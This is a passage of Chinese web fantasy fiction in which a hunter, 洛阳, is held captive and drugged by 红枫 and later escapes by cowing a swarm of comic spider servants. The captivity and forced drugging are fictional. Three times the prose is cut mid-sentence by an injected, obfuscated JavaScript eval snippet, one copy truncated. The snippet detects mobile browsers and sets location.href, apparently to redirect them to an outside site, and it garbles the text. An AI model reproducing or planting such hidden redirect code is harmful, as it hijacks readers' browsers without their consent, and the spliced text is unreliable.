他说:“你在给我下毒?你要是想杀我,不需要用这样的手段。” 红枫没有回答,洛阳不知道他给自己喂了什么,又见男人这幅油盐不进、一言不发的样子,心头的火气更胜,他继续追问道:“还是说,你只是一个有着独特癖好的变态,才要抓住我,在我的身上发泄你的癖好吗。” “你在报复我的父亲?”洛阳说:“还是想要从我嘴里套出些什么。” 红枫并未因为他的话而生气,他只是就那样静静地抱着怀中的人偶,抚摸着洛阳手脚上的丝线,片刻后,在长久的寂静中,红枫终于缓缓开口,他的声音低沉甜腻,只叫人感到一阵头晕眼花,他说:“好孩子,好好休息。” 洛阳的心跳如雷,只觉得自己听见了此生最荒谬、最离奇的话,他竭力地大声反驳:“你这个疯子,我不许你这么叫我!”他十分愤怒,因这个足够冒犯的称谓,只有他的养父可以这样呼唤他。 而红枫像是并未在乎他的想法,只是又端上了一碗药汤,并划开自己的手腕,将血液滴入其中。 洛阳的眼睛瞪大了些,却无法反抗,只能含糊地将那碗药饮下,从未有过的狼狈。 他像是被拔了牙的老虎般,被层层丝线缠绕着囚困在这个房间中,红枫并未虐待他,也并未对他做其他事,只是每日都给他喂食药汤,仿佛这就是他全部的目的。对于洛阳的怒骂和斥责,他既不回应,也不愤怒,只是纵容地抚摸着洛阳的头发,让他乖一些。 洛阳不知道他究竟要做些什么,总是饮用完药水后便沉睡过去,但一日日的喂食所导致的改变,终究在某一天彻底地爆发出来,洛阳宛如被冥王强行喂下石榴的珀尔塞福涅般,被红枫以诡异的手段强行捕获,并要留在这个世界。 在又一次喂食过后,洛阳却不知为何没有睡去,而是双目懵懂,有些茫然地看着面前的人,在那一瞬间,红枫的样子在他看来突兀地染 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893511|159989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上了一层难言的色彩,那之前尤其厌恶,也显得格外反感的姿态因某种力量而变得柔和,他周身散发出一股莫名的光芒,使得洛阳心头发软,在那一刻,他在洛阳的身上看见了自己养父的身影,并慢慢地取代了豢养他长大的养父。 洛阳微微眯起眼望着人,神态犹如刚刚被带到另外一个家的野猫。他询问着面前的人:“你是谁……” 洛阳的身影干哑,这段时间,红枫没有给他喂食其他东西,只给他喝下自己的血,洛阳的瞳孔收缩,一种亲入骨血、深入灵魂的联络在两个人的身体内缓慢成型,它甚至超越了血亲的联络,因红枫的血融入了洛阳的体内,并逐渐与他融为一体。 红枫凝视着他的样子,却反问道:“你又认为我是你的谁呢?” 红枫说:“在此刻的你心里,我应当是你的什么人,又应当被你称为什么?” 洛阳迟疑地看着他,他舔了舔唇,脑袋昏昏沉沉的,片刻后,洛阳说:“你就像是我的亲人、家人和朋友,可我之前从没有见过你,真奇怪。”但洛阳一看见他,就仿佛看见了极其亲密的人一般,不舍得对方难过,也想要对他极其亲近,于是,洛阳便说:“如果可以,我想叫你一声哥哥,你愿意接受这个称呼吗?” 说完这段话,洛阳的心已经紧张而砰砰直跳,红枫微微眯起眼,这和他所预料的情况不符,但即使如此,这也可以让他取代其他人,成为洛阳心中唯一亲近的存在,于是,红枫点了点头,认下了这个称谓。 他说:“既然如此,洛阳,我虽然并不是第一个遇见你的人,但在这之后,我便是你心中最重要的那个人。” 他的语气粘软,却带着一股无法忤逆的霸道,令这段话深深地刻入了洛阳的脑中,红枫说:“无论之后你遇到其他像我一样的人,又或者是另外一个我,你都要记得这一点。” 红枫伸出手指,轻轻扯住洛阳身上的红丝,宛如通过这猩红的丝线握住了洛阳的一切,他说:“我是你此生最重要的人。” 洛阳的瞳孔瞪大了。 在红枫逐渐靠近他,并透过那朦胧的面纱所漏出的缝隙之间,他望见了一张和自己的养父一模一样,如出一辙的面孔,只是那双眼睛中满是鲜红的强欲,像是只要被他望见并被其渴望,就会被这双眼睛的主人所掠夺,握在手中、擒在怀里,哪怕之前红枫从未拥有过他。 如一道惊雷劈下,洛阳的大脑清醒了些,他退后了一步,怒斥道:“不!” “你给我滚开!” 他气得开始不断挣扎起来,不成调的、令人耳膜发刺的怒斥声也从洛阳的口中源源不断地喷出,他在床上折腾着、扭动着,却无法挣脱对方的束缚,如同被蛛网包裹的蝴蝶般尝试展翅飞起,却一无所获,但即使如此,洛阳也拒绝道:“我不会相信你说的话,你是个骗子、疯子!” “很快就不是了。” 红枫并不在乎他的怒斥,而是宽容地抚摸着洛阳的发丝,并又将一碗药汤灌入他的口中,看着眸光发软的蝴蝶浑浑噩噩地睡去。 再次醒来时,洛阳的身边空无一人,他的眼神呆滞,甚至有些无法理解究竟发生了什么,思维更是陷入了极大的混乱,再这样下去,他或许会真的变成任人摆布的傀儡。 于是,洛阳艰难地抬起脸,左看看、右看看,他的手脚都被红丝包裹,露出的一截漂亮脚踝上也绑着大片红丝,洛阳一个翻身,便用力咬着牙,在床上蠕动起来。 很好,只要我还能活动,还能用力,哪怕是用牙齿,我也要找机会从这个家伙手里爬出去! 洛阳在床上翻滚了一圈,接着重重摔在地上:“哎呦!” 厚厚的毛毯接住了他的身体,让他不至于受伤,正在此时,门口却突然传来了开门的声响,洛阳的心跳加速起来,他连忙拱着身体,一拱一拱地想要挤进床底下的缝隙里,却已经看见大门缓缓打开,咔哒咔哒的脚步声传来,却不见人影,只能听见这奇异的声响。 洛阳在床下静静地等待了一小会,却没有再听见其他动静,他正狐疑地转过身,准备再去看看门口发生了什么的时候,洛阳的眼瞳却骤然收缩,望见了一道同样钻入了床底下,正同样狐疑地凝视着他的身影。 洛阳张了张嘴,却压住了自己的呼吸,没有发出任何声音。 咔哒咔哒的声音传来,在他的面前,一只毛茸茸的、抱枕一般大小的红枫蜘蛛正拱着屁股,疑惑地看着他,片刻后,似乎是察觉到洛阳想要逃跑,红枫蜘蛛的目光瞬间变了,它张口嘴对着这个可恶的人类发出威胁的、非常可怕的威吓后后,就扭动着毛茸茸的屁股,兴致勃勃地将洛阳从床底拽了出去。 “不要拽我,你这个可恶的帮凶!”洛阳竭力地挣扎着,那只蜘蛛却仿佛更来劲了,爪子越发用力、用力,而洛阳却死活不肯被它就这样拽出来,一人一蜘蛛之间形成了僵持,在这场世纪之战的最后,洛阳最终像是一个巨型萝卜般被拔了出来,再次倒在了毛毯上,而用力过度的红枫蜘蛛则茫然地绊了一跤,在这可恶的人类上摔了个跟头,就那样四脚朝天地摔在了地上,发出吱吱叫的声音,一边慌乱地扭动着节肢。 就在这短短的几分钟内,房间内的两个活物都陷入了混乱中,洛阳转过头,看见红枫蜘蛛的这幅样子,不禁狠狠地出了口恶气,他说:“都怪你,你这只可恶的笨蜘蛛!你活该。” 9. 四季之旅9 场面一度十分混乱。 洛阳的手脚都被红丝缠住,看似单薄纤细的红丝包裹在他的身上,却让年轻的猎人动弹不得,到目前为止,他仍然没有想明白红枫为何突然对他出手,据他所知,红枫是一位身份神秘,且位高权重的角色,他同样在世界各地收集着幻相世界中散播的因子,犹如收集着一份份的破碎的拼图。 他极富野心、手段残忍可怖,拥有众多的追随者和附庸,他宣称自己将创造一个完美的幻相世界,并用强大的力量与利益诱惑其他人投向他,其危险性可想而知。 所以,红枫和洛阳的养父,也就是灯塔的建立人有着微妙的摩擦和矛盾,而洛阳则是灯塔最优秀的猎人,所以才会因此被红枫盯上。 这些线索在洛阳脑中过了一遍后,他便倒吸了一口气,接着压着怒意低声道:“他果然是个讨人厌的混账。” 洛阳咬着牙,像被毛巾包裹起来的小猫似的挣扎,尝试用牙齿去扯开身上的红线,在地上一扭一扭地蠕动,而在他的旁边,如乌龟一般四仰八叉地倒在地上,八根爪子慌乱弹动的红枫蜘蛛也努力把自己毛茸茸的身体翻过来,但就在它即将成功的那一刻,洛阳眼疾手快地用力在它的身上踹了一脚,导致刚刚翻身的蜘蛛一个脚滑,又差点再次倒了下去。 邪恶的人类发出报复般的低笑,这些红枫蜘蛛都跟随在红枫的身边,和对方有着无法分割的亲密关系,于是报复了它们,也仿佛借此踹了那个可恶的男人一脚似的。 这个人类竟敢偷袭它! 红枫蜘蛛恼怒地爬起来,八条腿都气得打哆嗦了,身为红枫所创造的造物,他意志衍生而出的一部分,红枫蜘蛛向来高傲霸道,视那些羸弱无力的人类为蝼蚁。所有的红枫蜘蛛皆为雄性,都拥有美丽的外表、艳红如霞般的绒毛与附着在爪足尾端,铭刻着枫叶纹路的独特装饰。 这些特征将它们与其他普通的蜘蛛区分开来,每一只红枫蜘蛛都是强大且凶猛的捕食者,它们栖息在自身所构建而出的巢穴中,等待着猎物落入陷阱,而自诞生开始,这只红枫蜘蛛就从未遇到过这种情况:竟然有一位人类居然敢趁它不备的时候偷袭它,并且还敢……还敢用力踢它的屁股! 这是何等令人不敢置信,以至于让这只红枫蜘蛛的脑子都陷入呆滞的举动,若是这件事传到蛛群之中,它便会在极短的时间内沦为同族的笑柄,并被其他红枫蜘蛛所排挤,并被视为蛛群的耻辱。 这么想着,一股犀利的杀意、以及无法压抑的愤怒就陡然浮现了上来,他必须要给这个胆大包天,还妄图逃走的猎物一个教训! 红枫蜘蛛的鳌肢缓缓打开,腥毒的汁液在其中流淌,散发出让人头晕眼花的气息,它凶神恶煞,浑身的绒毛都膨胀起来,炸得宛如一个过于丰满的毛绒玩具,朝着地上无力反抗的猎物而去,但还未等它做些什么,洛阳便鬼鬼祟祟地在地上拱了拱,接着抬起腿,在红枫蜘蛛没有反应过来的情况下,又是猛地一脚上去。 哎哟! 红枫蜘蛛的屁股软软的,一下撞到墙上,发出了委屈的吱吱声。 “让开,别挡路。”洛阳在地上蠕动着,像条猫猫虫般来回扭动,屁股那么大挡着路了,不过有一说一,这些蜘蛛看上去毛茸茸的,踩上去之后也像是一脚蹬在了最柔顺的毛皮之上,质感好得让人怀疑这些蜘蛛私底下去了美容院,洛阳的眼神忍不住往红枫蜘蛛的腹部瞅瞅,就看见对方扭着头,将屁股拱到前面后,看见自己精心保养的绒毛上赫然出现了两个大脚印,红枫蜘蛛的动作一滞,它不敢置信,气得当场跳了起来。 杀了你! 它甩了甩屁股,用爪子抚平上面的鞋印,气到头晕眼花:我一定要杀了你! 在红枫蜘蛛暗自愤怒的时候,洛阳已经蠕动到了门前,凭借着顽强的意志用蓬松的大脑袋顶开了大门,他刚想要出门,咔哒咔哒的声音便传了过来,洛阳脸上的表情一滞,下一秒,他抬起脸,就看见好几只红枫蜘蛛正趴在墙壁上、天花板上以及无处不在的红丝上,正好奇地搓搓前爪,用圆溜溜的眼睛盯着他的动作。 ……打扰了。 洛阳缓缓收回了脑袋,并在蜘蛛群即将靠近的一瞬间缩回到了房间里,而一旦他回到了房间,洛阳所要面对的,就是一个跳着脚、大声吱吱叫的,犹如跳蛛一般挥舞着前爪,愤愤地向他走过来的中型蜘蛛了。 但寡不敌众,面对这么一只,总比面对一群蜘蛛要强,见到这只蜘蛛锋利的利爪已经近在咫尺,浓缩的剧毒汁液也只待一个机会,便要注入到洛阳的体内,并给他一个惨痛的教训,而中型蜘蛛则咔哒咔哒地爬到了洛阳的身上,浑身上下都毛茸茸的,漂亮又狰狞的毛绒玩偶蜘蛛发出低沉的嘶声,将身下的人类牢牢压住,覆盖他的大半个身体,就在毒牙即将咬住洛阳柔软的脖颈时,洛阳眨了眨眼,却说: “我要是死了,你的主人会生气的。”洛阳说:“他可是没想过要杀了我,只是想要催眠我,把我关在这个地方呢。” 红枫蜘蛛的动作顿时凝滞了下来。 它蠢蠢欲动,毒牙触及了人类白皙的肌肤,嗅闻到一股前所未有的、难以形容的美妙香味,那滋味是甜的、浓厚的、热烈的,宛如一团明亮的火焰在舌尖点燃,绽放出炽热的火花,使得眼前一片绚烂,只余下迷人热烈的芬芳。 等一下。 中型蜘蛛体内燃烧的怒火微滞,一个不可思议的念头忽然出现:这个人类闻起来的感觉,为什么会这么……这么香香的。 它有些迟疑,又拱着屁股向前挤了挤,去闻洛阳身上那难以形容的甜味,宛如雄蜘蛛嗅闻到了伴侣所留下的信息素,使得它头晕眼花,刚刚升腾而起的怒火也烟消云散,毛茸茸的肚子转了转,倒像是个过于庞大的毛绒玩具般,正在粘着自己的主人。 洛阳却只体会到了一股危险感,他几乎已经可以感受到毒牙的锋利、正以一个蓄势待发的姿态在他的肌肤上游走,随时准备给他狠狠来上一口,但洛阳并不能畏惧,他反而开始狐假虎威了起来,就看这只蜘蛛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14893512|159989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这幅踌躇不前的样子,他猜测它有一定的智慧,虽然看上去就跟几岁小孩似的,但也会避凶趋吉,不敢忤逆自己主人的意志。 “走开!”于是,洛阳狠狠威胁道:“否则我就把这件事告诉你的主人!” 正沉浸在这股气息之中,连眼神都有些茫然的红枫蜘蛛吓了一跳,它连忙从洛阳身上跳了下去,像是受惊似的在原地转了一大圈,不像是被洛阳的话恐吓到了,反而像是陷入了某种难言的混乱状态之中,却被人类猝不及防地打断。 于是,终于回过神的蜘蛛看着眼前的人类,不由得又升腾起一股恼怒来,但这股恼怒却不及一开始的旺盛,甚至于连怒火的本质都失了强硬,它对着人类张开利爪,做着威吓和警示: “嘶!嘶!”红枫蜘蛛发出低沉的威胁声,它说:你只是被主人捕捉回来的猎物和食粮,没错……像你这样的人类,只是它们的储备粮,蛛网上可消耗的食物,而像你这样的存在,在巢穴中是没有地位可言的,任何蜘蛛的存在都比你更加宝贵,而我身为本体意志的化身,更是可以随意地处置你! 没想到的是,见到它的这幅样子,洛阳反而更加有恃无恐了,他说:“你怕了,是不是?” 谁怕了! 红枫蜘蛛搓着前爪,很是生气地点着爪子。 在它的面前,这可恶的人类继续说:“等到那个家伙回来之后,他会重新喂我该死的药水,到了那个时候,我不仅要把他喂我的东西吐出来,我还要对他说,是你想要趁他不注意偷偷对我出手,才导致我摔到床下的!” 红枫蜘蛛的动作一顿,接着陷入了难言的震惊之中。 ——不对。 它并不是在因洛阳的话而感到恐慌,而是突然想到了一件事:所有的蜘蛛都会捕捉猎物,并将对方带回巢穴内,注入毒液后当做储备粮,但它们是不会去理会猎物的死活,更不可能去勤勤恳恳地喂食他、豢养他的。 而作为一只雄蜘蛛,它唯一会去讨好、会用食物去供奉豢养,用自己的血乃至于生命喂食的存在,只有他们的伴侣。 红枫蜘蛛的目光落到洛阳身上,突兀地回想起人类散发出的气息,那股芬芳迷人,让它头晕眼花,从出生开始都未曾遇到过的香气,那仿佛是铭刻在灵魂之中,只有蛛群可以感知到的信息素流淌进它的身体里,用一种可称恐怖的力量征服了它,使得红枫蜘蛛为他颤抖,也为他所着迷。 而人类的身体柔韧可爱,若是它化作人形,便是刚刚好可嵌入怀抱中的形状,若是他有一人遇到了自己心仪的伴侣,并为他所神魂颠倒,那么他必然是要将其带回巢穴,并为对方供奉所有的一切,哪怕是自己的生命和血。 而在洛阳艳红色的唇上,则刚刚好还残留着红枫血液的温度。 一个难以形容的、令蜘蛛心惊胆战的念头划过它的大脑,它怔怔地望着面前的洛阳,意识到了一件事: 面前的这个人类、被他的本体所带回到巢穴中豢养的人类,或许便是他的伴侣。 10. 四季之旅10 不……不对,不会是这样的! 红枫蜘蛛浑身的绒毛炸开,不管本体在想什么,又或是他做了什么,但它也不可能为他供奉食物,去豢养他、喂食他,甚至于在求偶时为其献上自己的生命,它是不可能就这样承认人类的地位,并为此饶过他的举动的! 似乎是为了证明这一点,红枫蜘蛛猛地扑到了人类的身上,重新用毒牙抵住了他的脖颈,但这一次,腥臭的毒液却并未聚集在毒牙之中,而它则更是身体僵硬,只是靠近对方,便感觉到一股温暖的气息流淌而来,使得它的大脑昏昏沉沉、连凶戾的气息都软了下去。 “……你想吃我?”洛阳眯起眼,知道单纯的恐吓是无法吓退面前的怪物的,而红枫蜘蛛再次对他伸出了利爪,但洛阳极为敏锐,却已经发现了此刻的红枫蜘蛛像是被吓到了似的,再也没有一开始的凶狠。 “想都别想,我才要先吃了你!”洛阳反客为主,在蜘蛛靠近过来的那一瞬间,狠狠地咬上了它的爪子,毕竟他全身上下也就这张嘴可以动了,面对面前怪物的威胁,洛阳不甘示弱地反抗起来,嘴里咬了一口毛,含糊地说:“我这两天一直都在吃那些乱七八糟的东西,我也饿了!” 他要吃了我。 红枫蜘蛛一动不动,被洛阳有气无力地咬着,身体却完全僵硬了、宛如濒死一般僵直:他真的要吃了我。 只有雄性蜘蛛的伴侣,才会在求偶时对对方发起袭击,并吃掉自己的求偶对象,所以,如他所料,他真的是本体的伴侣! 红枫蜘蛛意识到这一点的那一瞬间,就完完全全地僵住了,整个蜘蛛动弹不得,只能试探性地反抗着,祈求伴侣放它一马,而就在这个时候,原本就没有关紧的大门缓缓打开,一群小蜘蛛鬼鬼祟祟地溜了进来,它们浑身上下都毛茸茸的、每一只都漂亮得让人移不开眼,其中有几只更是浑身都晶莹剔透,虽没有那么毛茸茸,却也像是某种华美红玉一般剔透无瑕,散发着绚烂的火彩。 它们头挤着爪子、屁股挤着绒毛,一连串地爬了起来,以疑惑的目光看向前方的人类和同族,就在这个时候,趴在洛阳身上的红枫蜘蛛则慌乱地逃脱了人类的魔爪,死里逃生一般地混入了蛛群之中,向它们挥着爪足、手舞足蹈地说明刚刚发生的事。 红枫蜘蛛群围绕着中心的蜘蛛,圆圆的眼睛大大的,都目露狐疑地看着吱吱叫的同族,接着,它们一同发出了嘲笑和嗤笑的声音。 “吱吱,吱吱吱!”那只红枫蜘蛛急得几乎快要跳起来,它们越是说,就越是向着人类的方向靠近,渐渐地将洛阳围了起来,用鳌肢凑在他的衣服上,嗅嗅闻闻,用爪子戳戳他软软的身体。 洛阳的身体僵住了,看着周围逐渐围上来的蛛群,他抿了抿唇,已经完全长开,露出俊美优越的外表,连眸光都显得格外漂亮的男人僵着脸,接着,他恶声恶气地对着凑上来的一只蜘蛛说: “你要是再靠近我……”洛阳咬牙说:“我就吃了你!” 红枫蜘蛛群:“……” 红枫蜘蛛群:“?!” 显而易见,它们陷入了难以形容的震撼之中,原本已经凑上来的蜘蛛更是吓得往后退了一步,听到洛阳的话,它们纷纷转过头看向最中心的中型蜘蛛,就听见对方继续手舞足蹈地表露一个意思:他真的是本体的伴侣! 意识到这一点后,一只蜘蛛一扎头,埋进洛阳的衣服里,就嗅闻到了一股无法形容的信息素,这股气息在蛛群之中扩散开来,以雷鸣之势席卷一切,只是近距离地靠近了洛阳,它们的脑子就昏昏沉沉、头晕眼花地转成了圈,眼看着就要陷入一场混乱,而在这个时候,这样一个概念终于扎根在它们心中:面前的人类真的是它们需要豢养、需要供奉的伴侣。 而现在,他要吃了它们。 等等,意识到这一点的蛛群们凑在一起,手脚发软,整个蛛群都瑟瑟发抖了起来。 而那只最开始引起混乱的蜘蛛则凑上前,对着人类手舞足蹈,接着将两根爪子搭在一起,瑟瑟发抖地向人类恳求,请求他的宽容和饶恕。 见到这一幕,洛阳的手缓缓松开,他说:“真的假的,这还真能成功啊……” 他这么说着,却缓缓松了一口气,试探性地指挥着它们将他身上的束缚解开,蜘蛛群已经被他吓破了胆,对他言听计从,只凑上前咔咔两下,囚困人类的红丝便断裂开来,洛阳的手脚从中挣脱,却已经之前的久束,导致手腕和脚踝上都交错着鲜红的痕迹,在白皙的肌肤上残留了下来。 他刚打算迈开腿离开,却突然手脚无力,一股无法形容的饥饿感在胃部烧灼,他饿了太久太久,而红枫的仪式则容不得任何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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蛛群们围在一起,发出急切的嗡嗡声,片刻后,它们迈着腿咔哒咔哒地在巢穴内走动,一些蜘蛛留了下来,将洛阳小心地抱到一张柔软的沙发上,用小爪子帮他锤着腿,侍奉着陷入饥饿中的伴侣,希冀他不要突然大开吃戒;另外一群蜘蛛则找到了一间人类的厨房,它们找到了新鲜的食材,一些蜘蛛化为一头红发的男人,操控着厨具做着饭菜;而另外一些小蜘蛛则拿着勺子,在偌大的汤碗里拼命搅动起来。 食物的香气逐渐扩散开来,使洛阳眉头紧锁,腹部传来阵阵饥饿,那饥饿仿佛一张大口,要让他不顾一切地寻找食物,一只小蜘蛛则小心翼翼地被他摸着绒毛,用力地蹭着他的肌肤,希望他不会对自己突然出手。 过了一会,在洛阳已经有些有气无力的时候,一群胖胖茸茸的蜘蛛顶着四菜一汤,用爪子托着餐具,殷勤地搬运到了洛阳的面前,将他所在的沙发托起,直接抬到了餐桌前。 所有的蜘蛛都围在一起瑟瑟发抖,望着面前的伴侣,众星拱月般地将他围在中心,搓着前爪祈求: 伟大的伴侣,我们供奉你、喂养你。 只求求你不要吃掉我们! 11. 四季之旅11 在一群小蜘蛛前呼后拥的包围下,洛阳宛如被一群仆从……蜘蛛仆从包围的领主一般拿起碗筷,夹了一筷子红烧肉。 大脑袋上尚还顶着厨师帽的几只小蜘蛛紧张的看着洛阳将饭菜送进嘴里,几根爪足都立直了,东西刚一入嘴,洛阳的眼睛就猛地一亮,五花肉肥瘦适宜,糖色鲜亮,呈在颗颗饱满的米饭上,汤汁一层层地渗透下去,美味的让人食指大动。 再一旁,是一条上方还盖着葱丝,连散发出迷人清香的清蒸鱼;还有味道恰到好处的浓汤,以及另外两道一荤一素,洛阳的食欲大开,眼神发亮地吃着,一筷子接一筷子,小蜘蛛哆嗦不安地吱吱叫了一声,他才从这种纯粹的进食行为中挣脱出来,望向一旁的蛛群。 ……看不出来,这些小蜘蛛的厨艺还不错,一直盯着他,难道还要他给个评价不成? 面对那一双双小眼睛,洛阳哼了一声:“还不错。” 实际上,他都想要偷一只小蜘蛛回家当固定的厨师,每天就压榨对方给他洗碗做饭,当他的蜘蛛小保姆,用绑架代替领养,也算是报复那个该死的混账,哈哈! 这样坏的想法在脑中一转而过,蛛群却全然不知,发出喜悦的吱吱声,而洛阳则沉浸在胃部逐渐被填满的幸福感中,他的唇色转深,唇边也隐隐带上了笑容,浅金色的眼眸波光流转,吃得整个人都在闪闪发光。 属于人类的、带着温度和香气的食粮取代了哈迪斯喂下的石榴,让洛阳重新活了过来,之前扎根在他的体内,让他手脚无力的某种神异力量也随着他的进食而逐渐消散,等到洛阳一口气吃完饭,并将碗筷满足地放下之后,他再回过头去看红枫的身影时,就发觉他的身上再没有任何强加的光彩,他与他来说,又只是一个不再熟悉的陌生人了。 但红枫长着一张和他养父完全一致的脸,洛阳想到这点,便知道他们一定有着某种关系。 他的身体恢复力气后,所想到的第一件事,便是怎么逃出这里了,洛阳再次看向一旁的蛛群,它们仍然簇拥着最中心的人类,仿佛他此刻便是巢穴的核心,无上的君王。蛛群此刻几乎对洛阳言听计从:但很显然,这样的顺从是有着一定的代价的。 毕竟,作为雄蜘蛛的蛛群可以满足伴侣的一切需求,却同时也需要对方满足它们的需求。 但这一切,洛阳还不清楚,他也知道这其中的危险所在,洛阳想要试探它们现在是否还听话,于是人类点了点手指,就对着其中一只说道:“虽然我现在吃饱了,但我还是很不高兴。” 那只小蜘蛛猛地一颤,嗅闻到人类身上温暖热烈,透出一丝满足的信息素时,整个蛛群都醉醺醺的,只恨不得将全世界捧到洛阳的面前讨他欢心,好让对方露出更多细小的笑意、满足的小表情才好。 洛阳试探着说:“我不喜欢待在这里,我要你们带我离开。” 听到他的话,蛛群都陷入了短暂的迟疑,本体留下的命令与伴侣此刻的要求混杂在一起,让它们偏于兽性的大脑本能地混乱起来,它们既想要纵容人类的所有需求,又想要让他永远地留在自己的巢穴中,将他困在最中心的王座上拱卫着他。 这两种截然不同的想法让这只红枫蜘蛛用力挠了挠地板,爪足危险地弹动起来,在这个时候,最开始陪在洛阳身边的中型蜘蛛冲了出来,猛地推开了对方,并快步来到人类面前,向他嗡嗡地叫着,示意自己可以无条件听从他的命令。 “很好,看来你是最听话的蜘蛛。”洛阳看着这群小蜘蛛,像看着一群被收服的小弟,蜘蛛小弟。 他伸出手试探性地摸了摸它的小脑袋,又像是想起了什么,伸手摸了摸它柔软的绒毛,洛阳的声音轻了一些:“之前我是一不小心才踢到你的屁股的,你可不要生我的气啊。” 洛阳摸了摸它软软的大屁股,手感真好,他摸了又摸,就见到这只小蜘蛛兴奋地颤着爪子,在地上不住地摇着屁股,活像只卖萌的小狗似的。 伴侣身上的气息好香啊。 中型蜘蛛这样沉迷着洛阳的气息,别说是要求它带着他找到巢穴的出路,就算是让它现在被洛阳吃掉,那么它或许也是心甘情愿的,而看着这和谐的一幕,剩下的蛛群都陷入了某种沉默之中,它们的眼神冷冷地盯着那个出头鸟,一颗颗红宝石的眸子都显得格外阴冷起来。 “好了,”洛阳三两下收服它,便开始理所当然地使唤道:“快带我离开这里。” 中型蜘蛛高兴地吱吱叫了一声,便趾高气昂地走在最前方,拥有了最靠近伴侣的资格。身后的蛛群一声不吭地跟上,洛阳的身后便拖着长长的尾巴,他的身体紧绷,并不像看上去那么轻松,只要身边的蜘蛛群有一丝异动,他都会拔刀出手,毫不犹豫地和它们搏杀。 但奇了怪了。 这些小蜘蛛被他使唤,不仅没有生气,反而还很是高兴的样子,兴奋到屁股不停在晃,一群蜘蛛甚至你推我、我推你,就想要抢夺他身边最近的位置,让洛阳摸不着头脑。 思来想去,他所能找到的唯一解释就是……这群蜘蛛看上去都笨笨的。 所以才会被他这么一威胁,就顿时手忙脚乱,被吓得脑子都停摆了。 他们在红枫蜘蛛的巢穴内一路走过,洛阳一边走,一边便被眼前的场景所震惊,整个巢穴仿佛一个极度混乱的梦境,所有的家具都缠绕着蛛丝,或是悬挂在空中,或是混乱地摆放在残缺的建筑之中;而每一个走廊的尽头都通向一扇不知名的大门,每一扇大门都牵连着一根巢穴内延伸而出的蛛丝,宛如一张无形的蛛网一般,只有一扇门通向出口。 洛阳走过一扇门时,便能看见一个个红枫蜘蛛的身影正趴伏在网上,像体型硕大的毛绒玩具般陷入酣睡,有些蜘蛛被他所惊醒,但刚想要将逃出来的人类捉回去,便会被跟在洛阳身后的蛛群逼退。 于是,男人只是在巢穴内走了几步,跟在身后的尾巴就赫然已经形成了一片恐怖的规模,洛阳的额头渗出一丝冷汗,在他的身后,至少数百只蜘蛛好奇地跟随着他的一举一动,他们来到一处悬挂而下的蛛丝前,中型红枫蜘蛛——洛阳称呼它为一号便停了下来,用小爪子指了指上面。 “我们得从这里爬上去?”洛阳抬头看向蛛网,他刚准备爬上去,一号却突然推开他,殷勤地走了上来,变大了一些,并示意洛阳爬到他的肚子上,让它载着他上去。 见到这一幕,身后的蛛群顿时发出了不甘示弱的嗡嗡声,它们大声抗议着,一边想要争夺这个位置,争先恐后地要让人类坐在它们的身上。 “都不准吵了!”眼见着这些蜘蛛快要展开一场内乱,洛阳干脆利落地爬到了一号的肚子上,感觉自己像是坐上了上好的贵宾席上,一号仔仔细细地用蛛丝将人类缠绕好,确保对方不会从它身上落下,只能软软地贴着它之后,一号便开心地驮着小小的人类,越过一群同伴走在了前头。 “还有多久才能到啊?”洛阳趴在蜘蛛的身上,白皙的脸颊蹭了蹭对方光滑柔软的绒毛,又蹭了蹭。一号发出嗡嗡声,伴侣的重量显得很轻,却重得好像胜过了其他一切,这种感觉真好啊,让它恨不得洛阳一辈子都贴在上面,但很快,通道的尽头便在蛛群面前出现,一号跨过最后的障碍,带着洛阳刚走出去,就看见了离开巢穴的大门,以及守在门前,体型巨大的红枫蜘蛛守卫。 它的腹部有一道狰狞的伤口,正是洛阳在之前偷袭时所留下的疤痕,休憩中的守卫很早就被蛛网传来的动静惊醒,整个巢穴都建立在蛛网上,只要是居住于此的蜘蛛,就不会逃过人类的消息。 它不理解同伴为何要忤逆本体的意志,但它不可能放人类离开,当然,这不是说它在记仇!只是这是本体留下的命令。 洛阳看着它那副警戒的样子,就已经意识到了不妙,他从一号的身上爬了下来,看着一号如同之前那样走了上去,和守卫进行了一场洛阳无法理解的加密对话。 ‘我们的伴侣要离开巢穴,出门游玩。’一号发出嗡嗡声:‘你快打开大门,让他离开。’ 守卫沉默地看着它,片刻后,它发出嗡嗡的回应:‘你的脑子是不是傻了?’ 守卫发出剧烈的、和之前完全不同的声响,并拦在了门前。 洛阳的手缓缓下移,握住了自己的武器。 一号仍然在劝说:‘你不能忤逆伴侣的意志!’它说:‘否则他会吃了我们!’ 守卫的目光落到洛阳的身上,见人类挺直腰板站在那里,黑色的发丝蓬松,面容俊美帅气,它细细地嗅闻了一下,闻到了一股难以形容的芬芳气息,顿时,它便承认了洛阳的身份,但与此同时,它却对一号的劝说表示拒绝。 守卫恨铁不成钢地说道:‘我拒绝。’ 它点着爪子,一副十分机智的样子说道:‘笨蛋,他怎么可能吃得下这么多蜘蛛,人类的肚子是很小的,就算只有你一只,也足够塞满他的胃了。’ 一号的大脑袋冒出一个问号:‘可我不想被吃掉啊。’ 那关它什么事。 